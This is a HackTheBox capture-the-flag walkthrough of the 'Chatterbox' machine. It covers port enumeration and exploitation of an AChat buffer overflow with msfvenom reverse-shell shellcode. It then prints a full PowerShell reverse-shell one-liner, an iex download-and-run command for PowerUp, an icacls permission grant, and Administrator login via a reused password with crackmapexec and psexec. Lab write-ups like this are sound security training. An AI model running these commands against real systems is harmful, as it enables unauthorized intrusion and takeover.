HacktheBox – Chatterbox

In this Walkthrough, we will be hacking the machine Chatterbox from HackTheBox.

We’ll begin by finding a few interesting ports open, most notably 9255 and 9256. After running multiple nmap scans, we’ll find that the service running on these ports is Achat and that it is vulnerable to a buffer overflow vulnerability.

Once it was confirmed that the Achat service is running, we’ll look for a public exploit and find one that requires some editing to get a reverse shell. Finally, we will use the exploit and get a reverse shell on the target host as user Alfred.

With a foothold established on the targer, post-exploitation enumeration using the tool PowerUp.ps1 will uncover stored plaintext credentials in the AutoLogon registry.

Since password reuse is such a common issue we’ll take the password we found and reveal that they are also the same password for the Administrator account!

Initial Scanning

— Nmap full TCP —

nmap -A -sV -sC -T4 -p- -oN full_tcp.nmap

Review of Open Ports

From the nmap scan it was observed that a few interesting ports are open including 139 / 445 for enumeration and an unknown service running on 9255 / 9256.

  • Ports 135 / 139 / 445 are open and are hosting the RPC / NetBIOS / SMB share services respectively.
  • Ports 9255 and 9256 are open and are hosting unknown services. It is likely that these ports are tied to each other.
  • Ports 49xxx are hosting the high port RPC services.

Additionally, the nmap scan also reveals that this host is running Windows 7 Pro SP1, which is an outdated OS and potentially vulnerable to Eternal Blue.

Enumeration and Initial Exploit

SMB Enumeration

To start, I decided to enumerate the SMB and RPC services to see if they permit anonymous access.

smbclient -L -U""

I was not able to list the shares, but it looks like anonymous access was permitted.

Next I ran an nmap scan to try and enumerate the shares.

nmap --script=smb-enum* -p445

Only the three standard shares were found and anonymous access was denied to all of them.

Moving on, another nmap scan was executed to see if the host is vulnerable to Eternal Blue.

nmap --script=*vuln* -p139,445

It looks like host might be patched. To confirm that the host is patched, I used a tool called eternal_checker.py, which is part of this Eternal Blue exploit GitHub repo here.

python3 ./eternal_checker.py

Sure enough, the host is definitely patched and this will not be the way in.

Not seeing much to work with from port 445, I decided to check RPC access with an anonymous session to try and enumerate the host.

rpcclient -U""

And I am denied access to this service as well when attempting anonymous acces.

Since RPC and SMB were not fruitful, I will continue my enumeration now on the unknown services running 9255/9256.

Port 9255 / 9256 (Achat) Enumeration

First I attempted to fingerprint the service using netcat.

nc -nv 9255
nc -nv 9256

The fingerprint did not produce any additional information about what service is running. But, it did exhibit some interesting behaviour. Port 9255 died as soon as data was sent to it; however, port 9256 stayed alive. This indicates to me that I am likely going to be targeting my efforts at port 9256.

Next I tried to access both ports/services in the browser. Checking 9255 first, nothing happened. Then checking 9256 next, it loaded a page that said “error” – again this indicates that this port is likely the one to be targeted.

Not getting a hint to what this service is, I decided to search Google to determine which services commonly use both ports 9255 and 9256.

Checking SpeedGuide first, there is interesting mention of port 9256 with a buffer overflow vulnerability for a service named Achat. The only issue is, this shows that the service runs over UDP and on this machine port 9256 is running over TCP.

Seeing that this service runs on UDP, I decided to do an nmap scan against the UDP port. If it is open, then it is likely that the service has both TCP and UDP ports open. This would hint to the service being Achat.

nmap -sC -sV -sU -A -p 9255,9256 --script=*enum*

The UDP scan was also unable to provide a service name; however, it did provide information indicating that the port is open and is being filtered by the firewall. This is promising and hints to Achat since the port is open on both TCP and UDP port 9256.

Confirming the Service is Achat

Finally, after running the following nmap scan it fingerprinted the service and confirmed that it is running Achat!

nmap -sC -sV -A -p 9255,9256 --script=*enum*

Awesome! It turns out this service actually is Achat and from what was enumerated earlier, it should be vulnerable to a buffer overflow attack.

For some reason the ‘-sC’ switch was preventing the service from being fingerprinted. In the above command, the ‘–script=*enum*’ part cancelled out the -sC switch and then the service name showed up.

Finding a Public Exploit for the Achat Service

Since I was finally able to confirm this is service is actually Achat, I decided to check see if there was a public exploit available using searchsploit.

searchsploit achat

Right away, the top result is a buffer overflow exploit written in Python. This is just what I was hoping to find!

Using the ‘-m’ switch with searchsploit, I was able to mirror the Python script into my working directory.

searchsploit -m 36025

After I copied the exploit into my working directory, I also renamed it to achat_exploit.py and then checked the script to see how it works.

Looking at the script, it looks like two things need to be changed. First, I will need to generate shellcode for a reverse shell. Next, I will need to edit the server IP here to match the server’s IP (victim IP).

Editing the Script and Getting a Reverse Shell as User Alfred

To start, I crafted reverse shellcode with the following command:

msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST= LPORT=443 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

Now that I have shellcode for a reverse shell, I need to edit the script to replace the old code with my new code. Then I need to change the server IP to the target IP.

Perfect! The exploit is ready. Next, I started a netcat listener on port 443 and then executed the script.

I get the “P00F!” message, and when I check back on my listener, I got a shell as user Alfred!

Post Exploitation Enumeration and Privilege Escalation

Immediately after getting a shell, I wanted to upgrade from cmd.exe to Powershell; however, attempting an “in-place” upgrade with the command powershell -ep bypass killed the shell.

After rebooting the machine, re-running the exploit, and then getting a shell again, I started a netcat listener on port 443 on my attacker machine and then used the following PowersShell 1-liner to upgrade to PowerShell:

powershell.exe -nop -c "$client = New-Object System.Net.Sockets.TCPClient('',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

The prompt hangs after executing the command, and back on my listener, the PowerShell shell checked in!

Manual Enumeration of the System, Current User, and Installed Applications

To begin my post exploitation enumeration, I gathered some information about the system:

systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"

This reveals some important information, including the OS being Windows 7 SP1, the OS is 32-bit, and there are A LOT of hotfixes installed. This machine is likely patched against most kernel exploits and it this is why Eternal Blue failed as well.

Next I checked which users on this system have administrator privilege’s:

net localgroup administrators

The only user with elevated privileges on this machine is the built-in administrator account.

Moving on to enumerating the current user, I started with the following:

net user alfred

This shows the user is not part of any interesting groups.

whoami /priv

Alfred does not have any interesting privileges either. It is worth noting that this user can restart the machine with the shutdown command, which could be helpful if we find a weak service permission vulnerability.

Next I checked if there were any stored credentials on this host.

cmdkey /list

And… nothing!

Interesting Privileges Allow Alfred to Read the root.txt File

Alright, next I decided to check which user profiles I can access and if there are any interesting files / folders, like so:

gci -Recurse C:\users | Select FullName

I find this VERY interesting! The user Alfred was able to view all files in all user folders, including the Administrator folder. Since Alfred is not an admin user, this account should be denied access to view files in the Administrators home profile.

Out of curiosity, I decided to check the permissions on the Administrators folder.

icacls C:\users\administrator

That’s wild! This user has Full Access (F) to the Administrator folder. That means I should just be able to read the root.txt file.

cat C:\users\administrator\desktop\root.txt

Weird… nothing happens when I try to read the file. However, digging a bit deeper, I can see why.

icacls C:\users\administrator\desktop\root.txt

The root.txt file only has permissions on it around the Administrator user. However, since Alfred has Full Access to the parent folder C:\users\administrator this user can change the permissions on ANY file or subdirectory within the parent folder.

This means, I can simply give myself permissions to read this file and that’s is… rooted!

icacls C:\users\administrator\desktop\root.txt /grant chatterbox\alfred:F /t

Now that I have Full Access to the file, I can extract it’s contents.

cat C:\users\administrator\desktop\root.txt

That was interesting, but it doesn’t feel like a true root, so I decided to keep hunting.

Manual Enumeration Continued

Continuing on, I like to manually check what programs are installed in the Program Files directories.

First I like to check for any interesting folders in the C:\ directory (including hidden ones).

cmd.exe /c dir /a C:\

No interesting hidden files/folders were found and there is only the one Program Files folder because this is a 32-bit operating system.

ls "Program Files"

The only thing interesting in the Program Files folder is the AChat application; however, there was no mention that it was vulnerable for privilege escalation.

Enumeration Using Tools – PowerUp.ps1

Since nothing of interest for privilege escalation was found with manual enumeration, I decided to start using tools, starting with PowerUp.ps1

After dropping into PowerShell, I headed back to my attacker machine to prepare the PowerUp script to be sent to the victim.

Starting with the script itself, I hardcoded the following command at the bottom so that I can download and execute this script directly into memory with the IEX cmdlet. This will effectively execute the hardcoded command at the bottom automatically.


With the command hardcoded at the bottom, the script is ready so all that is left to do is serve it up to the victim over HTTP by spinning up a quick Python HTTP server again.

Finding AutoLogon Credebtials in the Registry

With the script being served up over HTTP, I used the following command on the victim machine to download the script from my attacker machine and execute it directly into memory.

iex(new-object net.webclient).downloadstring('')

Great! Credentials were found. Even though these are our current user’s credentials, they are still valuable to have. Apart from this, PowerUp did not find anything else.

Finding Password Reuse Vulnerability and Getting a SYSTEM Shell

Since this user had Full Access to the Administrator home folder, and since password reuse is such a common issue, I decided to check this password against the Administrator user using crackmapexec.

crackmapexec smb -u Administrator -p 'Welcome1!'

WOW! Sure enough, this password is reused and is the valid password for the Administrator user! Also, seeing Pwn3d! indicates that I can get command execution over SMB.

Instead of running commands with crackmapexec, the best thing to do is to grab a SYSTEM shell using psexec.y from the Impacket Collection of Scripts.

psexec.py Administrator:'Welcome1!'@


Funny enough, even the SYSTEM account cannot read the root.txt file and for some reason I am denied the ability to edit the permissions on the file (even though SYSTEM has (F) on the parent folder).

icacls C:\users\administrator\desktop\root.txt /grant everyone:F /t

To grab the flag, I had to jump back on Alfred and then run the same command. After that was done, SYSTEM could read it.

Final Note

Historically, this machine had only the AChat ports visible externally, the other ones used to be visible only from inside. This made this machine a lot more challenging before, as you had to either port forward 445 to do the psexec.py exploit, or you would have to use the PowerShell runas trick to get a shell as the admin. To learn about port forwarding check out my post on it here, and to see an example of the PowerShell runas trick, check out my post on UAC-Bypass here.

Want to stay up to date with the latest hacks?

By entering your email address you will receive a notification every time a new post drops!